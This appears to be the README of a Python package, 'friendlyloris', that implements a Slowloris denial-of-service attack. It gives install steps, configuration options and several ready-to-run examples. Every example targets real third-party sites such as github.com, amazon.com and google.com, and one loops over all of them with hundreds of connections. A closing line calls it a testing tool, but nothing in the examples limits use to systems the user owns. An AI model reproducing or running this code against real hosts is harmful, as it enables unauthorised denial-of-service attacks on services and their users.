✨ friendlyloris, a simple slow loris package for Python ✨

Here is a minimal start:

1. Install with pip install friendlyloris

2. Run the following code:

   from friendlyloris import FriendlyLoris
   
   loris = FriendlyLoris(host="github.com")
   
   loris.run()
   

The following options are available:

• Host (required) The URL or IP address we want to connect to
• Port The port number we will use to connect
• Https If we will start an encrypted connection
• Connections The number of simultanious connections we will make
• Interval The number of seconds we wait before refreshing connections
• Loops How many times we will refresh connections
• Verbose If we want to see verbose logging

Here is an example with the default values:

from friendlyloris import FriendlyLoris

loris = FriendlyLoris(
    host = "github.com",
    port = 443,
    https = True, 
    connections = 200, 
    interval = 10, 
    loops = 5, 
    verbose = False
    )

loris.run()

A few more examples below:

Connecting with plaintext HTTP:

from friendlyloris import FriendlyLoris

loris = FriendlyLoris(
    host = "github.com",
    port = 80,
    https = False
    )

loris.run()

More connections and verbose logging:

from friendlyloris import FriendlyLoris

loris = FriendlyLoris(
    host = "github.com",
    connections = 500,
    verbose = True
    )

loris.run()

More connections, shorter timeout and 1 loop:

from friendlyloris import FriendlyLoris

loris = FriendlyLoris(
    host = "github.com",
    connections = 500,
    interval = 5,
    loops = 1
    )

loris.run()

Finally, quick tests running against a list of sites:

from friendlyloris import FriendlyLoris

hosts = [
    "github.com",
    "stackoverflow.com",
    "amazon.com",
    "google.com",
]

for site in hosts:

    loris = FriendlyLoris(
        host = site,
        connections = 100,
        interval = 5,
        loops = 2,
        verbose = True
        )

    loris.run()

A good article on how this works 🎉

This was designed for testing, not malice 😊 Please use as such 😇
